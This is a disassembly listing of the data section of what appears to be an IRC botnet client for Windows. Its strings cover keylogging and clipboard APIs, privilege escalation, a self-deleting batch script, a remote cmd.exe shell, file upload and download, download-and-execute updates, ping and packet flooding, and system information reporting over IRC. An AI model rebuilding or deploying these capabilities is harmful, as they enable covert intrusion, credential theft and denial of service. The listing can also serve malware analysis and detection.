		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40981F:loc_409B58o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40981F+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40981F+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40981F+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40981F+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40981F+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40981F:loc_409A7Eo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40981F+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40981F+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40981F+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40981F+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40981F+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40981F+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40981F+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40981F+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40981F+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40981F:loc_409954o
					; sub_42105F+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40981F+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40981F+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40981F+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40981F+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40981F+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40981F+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40981F+Ao
		align 4
unk_42D764	db    2			; DATA XREF: sub_40A4AC+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AAFA+5o
					; sub_415C5E+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AB7C+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AC42+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40AC42+48o
		align 4
unk_42D9A8	db    2			; DATA XREF: sub_40AE02:loc_40AEC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42D9E8	db    2			; DATA XREF: sub_40AE02:loc_40AE8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42DA28	db    2			; DATA XREF: sub_40AE02:loc_40AE5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42DA5C	db    2			; DATA XREF: sub_40AE02+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42DA9C	db    2			; DATA XREF: sub_40AF86+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42DAD8	db    2			; DATA XREF: sub_40AF86+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42DB10	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42DB4C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o
dword_42DB94	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B549o
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42DBD4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42DC0C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B4FDo
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42DC4C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42DC90	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40B56C+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B721+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B8D8+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B8D8+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co
		align 10h
word_42DDD0	dw 3Fh			; DATA XREF: sub_40B8D8:loc_40B9DAr
					; sub_40D099+1Fo
		align 4
dword_42DDD4	dd 28207325h, 297325h	; DATA XREF: sub_40B8D8+EBo
dword_42DDDC	dd 3F3F3Fh		; DATA XREF: sub_40B8D8:loc_40B99Bo
					; ___:loc_415C0Fo
a2003		db '2003',0             ; DATA XREF: sub_40B8D8+BAo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B8D8+AAo
					; ___:00415BFAo
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B8D8+98o
					; ___:00415BEAo
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_40B8D8+7Eo
					; ___:00415BD1o
		align 4
a98		db '98',0               ; DATA XREF: sub_40B8D8+6Co
					; ___:00415BC1o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B8D8+5Ao
					; ___:00415BB1o
		align 4
a95		db '95',0               ; DATA XREF: sub_40B8D8+46o
					; ___:00415BA3o
		align 10h
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40BB8C+A4o
		align 10h
off_42DE40	dd offset loc_412F4E	; DATA XREF: sub_40BB8C:loc_40BBF8o
off_42DE44	dd offset dword_4E414C	; DATA XREF: sub_40BB8C:loc_40BBEEo
dword_42DE48	dd 6C616944h, 70752Dh	; DATA XREF: sub_40BB8C+5Bo
dword_42DE50	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40BB8C+48o
unk_42DE60	db    2			; DATA XREF: sub_40BC4B:loc_40BE04o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42DEA0	db    2			; DATA XREF: sub_40BC4B:loc_40BDFDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42DEDC	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42DF08	db    2			; DATA XREF: sub_40BC4B:loc_40BDDEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42DF54	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42DF80	dd 2A2F2Ah		; DATA XREF: sub_40BC4B+3Bo
dword_42DF84	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40BEF5+35o
dword_42DF90	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o
		align 4
dword_42DFC4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C00D+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_42DFEC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42E018	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
dword_42E038	dd 80000002h, 42F6CCh, 80000002h, 42F6FCh, 80000001h, 42F734h
					; DATA XREF: sub_40C1AE+7o
dword_42E050	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C1AE+63o
					; sub_40C351+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42E094	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42E0D4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+47o
					; sub_40C512+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42E108	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+362o
					; sub_40C8B4+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42E130	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42E180	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42E1B4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42E1DC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C512+16Ao
		dd 169h
dword_42E1F4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42E224	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42E258	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42E28C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+1D1o
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42E2E0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42E310	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40C8B4+97o
dword_42E350	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42E390	db    2			; DATA XREF: sub_40CAF1+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42E3CC	db    2			; DATA XREF: sub_40CAF1+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42E414	db    2			; DATA XREF: sub_40CAF1+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42E464	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40CAF1+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40CAF1+336o
					; sub_40EE72+2B48o ...
		align 4
unk_42E498	db    2			; DATA XREF: sub_40CAF1+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
unk_42E4E0	db    2			; DATA XREF: sub_40CAF1+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42E518	db    2			; DATA XREF: sub_40CAF1+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42E55C	db    2			; DATA XREF: sub_40CAF1+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42E59C	db    2			; DATA XREF: sub_40CAF1+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42E5E4	db    2			; DATA XREF: sub_40CAF1+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40D099:loc_40D0DCo
					; sub_40DF4E+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D099:loc_40D0D0o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D099:loc_40D0C4o
		align 4
off_42E644	dd offset word_4D4152	; DATA XREF: sub_40D099:loc_40D0BEo
aFailed		db 'failed',0           ; DATA XREF: sub_40D12A:loc_40D208o
					; sub_40D24E+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40D12A+6Co
		align 4
unk_42E658	db    2			; DATA XREF: sub_40D24E+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_42E6A4	db    2			; DATA XREF: sub_40D24E+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
aA_0		db 'A:\',0              ; DATA XREF: sub_40D320:loc_40D365o
dword_42E6F4	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E740	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D4C5+E3o
; ---------------------------------------------------------------------------

loc_42E75C:				; DATA XREF: sub_40D4C5+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42E770	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D4C5+13Fo
dword_42E784	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_40D679+5Do
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D679+16o
					; sub_40EE72+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D679+Fo
					; sub_40EE72+62Fo
		align 10h
off_42E7A0	dd offset aAdd		; DATA XREF: sub_40D719+60r
					; sub_40DAF0+51r ...
					; "Add"
off_42E7A4	dd offset aAdded	; DATA XREF: sub_40D719+2Dr
					; sub_40DAF0+83r ...
					; "Added"
dword_42E7A8	dd 0			; DATA XREF: sub_40D719+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42E814h, 42E80Ch,	2, 42E800h, 42E7F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0042E7D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:0042E7D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0042E7C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:0042E7C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0042E7BCo
		align 4
aList_0		db 'List',0             ; DATA XREF: ___:0042E7B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0042E7B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0042E7ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_42E7A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_42E7A0o
dword_42E868	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+67o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42E89C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+51o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
